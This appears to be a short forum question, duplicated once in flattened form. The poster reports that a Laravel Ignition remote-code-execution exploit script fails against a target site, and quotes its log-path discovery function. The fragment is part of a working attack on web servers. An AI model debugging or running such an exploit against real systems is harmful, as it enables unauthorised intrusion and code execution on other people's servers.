When running the script against the target, I'm getting the below error:
./laravel-ignition-rce.py https://www.targer.com/ /tmp/exploit.phar
"- Unable to find full path "
def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\/[^"]+?)\/vendor\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)
When running the script against the target, I'm getting the below error: ./laravel-ignition-rce.py https://www.targer.com/ /tmp/exploit.phar
"- Unable to find full path "
def get_log_path(self): r = self.run_wrapper('DOESNOTEXIST') match = re.search(r'"file":"(\/[^"]+?)\/vendor\/[^"]+?"', r.text) if not match: self.failure('Unable to find full path') path = match.group(1).replace('\/', '/') path = f'{path}/storage/logs/laravel.log' r = self.run_wrapper(path) if r.status_code != 200: self.failure('Log file does not exist: {}', path)